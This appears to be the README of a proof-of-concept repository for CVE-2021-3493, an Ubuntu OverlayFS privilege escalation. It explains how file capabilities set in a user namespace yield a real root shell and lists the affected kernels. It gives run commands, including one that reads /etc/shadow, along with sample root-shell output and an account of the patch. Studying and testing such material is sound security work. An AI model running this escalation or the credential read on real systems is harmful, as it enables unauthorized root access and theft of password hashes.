
Two-stage proof-of-concept for CVE-2021-3493, exploiting Ubuntu OverlayFS to escalate from unprivileged user to root via file capability manipulation in user namespaces.
Ubuntu 커널의 OverlayFS 구현에 존재하는 로컬 권한 상승 취약점인 CVE-2021-3493에 대한 동작하는 개념 증명(PoC)입니다.
권한이 없는 사용자는 사용자 네임스페이스 내부에서 overlay 파일시스템을 마운트하고 setxattr을 통해 임의의 파일 capability를 설정할 수 있습니다. 커널은 이러한 capability의 네임스페이스 출처를 검증하지 못하므로, 해당 capability는 init 사용자 네임스페이스에서 적용됩니다 — 따라서 모든 로컬 사용자가 root로 권한을 상승시킬 수 있습니다.
이 취약점은 Ubuntu 고유의 문제입니다. Ubuntu는 권한이 없는 overlay 마운트를 허용하는 패치(FS_USERNS_MOUNT)를 포함하고 있습니다. 업스트림 커널에는 이 패치가 없으므로, 메인라인 Linux 및 다른 배포판은 일반적으로 영향을 받지 않습니다.
| 배포판 | 커널 | 취약 버전 (수정 버전) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
출처: USN-4916-1
이 PoC는 2단계 설계를 사용합니다:
| 파일 | 역할 |
|---|---|
exploit.c | 1단계 — 사용자 네임스페이스 내부에 overlay 파일시스템을 생성하고, rootshell 페이로드를 복사한 다음, 모든 capability(all+ep)로 security.capability xattr을 설정합니다 |
rootshell.c | 2단계 — 파일 capability를 활용하여 setuid(0)를 호출하고 실제 root 셸을 실행하는 깔끔한 페이로드입니다 |
왜 2단계인가? 원본 inspiringz/CVE-2021-3493 PoC는 exploit이 사용자 네임스페이스 내부에서 셸을 exec하므로, uid=0은 단지 네임스페이스 매핑일 뿐 실제 root가 아닙니다. 이 PoC는 overlay 설정(사용자 네임스페이스의 자식 프로세스)과 페이로드 실행(init 네임스페이스의 부모 프로세스)을 분리하여 진정한 권한 상승을 보장합니다.
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← vulnerability trigger
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp: 원본은 nosuid로 마운트된 /dev/shm을 사용하는데, 이로 인해 커널이 exec 시 파일 capability를 조용히 무시하게 됩니다. 이 PoC는 /tmp(일반적으로 nosuid가 없는 ext4에 마운트됨)를 사용합니다.
2단계 페이로드: 원본은 capability를 보유한 바이너리로 자신(/proc/self/exe)을 복사하지만, exploit이 unshare를 호출하므로 이를 다시 실행하면 사용자 네임스페이스에 다시 진입할 뿐입니다. 이 PoC는 capability를 직접 소비하는 별도의 rootshell 바이너리를 사용합니다.
| OS | Ubuntu 20.04.1 LTS (Focal Fossa) |
| 커널 | 5.4.0-65-generic (취약) / 5.4.0-216-generic (패치됨) |
| 구성 | 기본 Ubuntu Server 설치 — 비활성화된 완화 조치 없음 |
테스트 호스트는 모든 기본 보안 기능이 그대로 활성화된 기본 Ubuntu 20.04 커널을 사용합니다:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (기본값 — 권한 없는 사용자 네임스페이스 허용)CONFIG_OVERLAY_FS=m (기본값 — OverlayFS를 모듈로 사용 가능)BOOT_IMAGE=... root=... ro)비활성화가 필요한 보안 기능은 없습니다 — 이 exploit은 취약한 커널이 설치된 기본 Ubuntu 20.04에서 바로 동작합니다.
⚠️ 경고: 본인 소유의 시스템이나 명시적으로 테스트 승인을 받은 시스템에서만 실행하십시오. 이 exploit은 실제 root 접근 권한을 부여합니다.
make
./exploit
기본 동작은 대화형 root 셸을 실행합니다. 단일 명령을 실행할 수도 있습니다:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
패치된 커널(예: Ubuntu 20.04의 >= 5.4.0-70)은 사용자 네임스페이스의 overlay를 통해 설정될 때 capability xattr을 v2에서 v3 형식으로 업그레이드합니다. v3 형식에는 init 네임스페이스에서 설정자의 실제 UID를 기록하는 rootid 필드가 포함됩니다. exec 시 커널은 rootid를 확인합니다 — 0이 아니면 capability가 거부됩니다:
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
이 코드는 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 본인 소유이거나 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.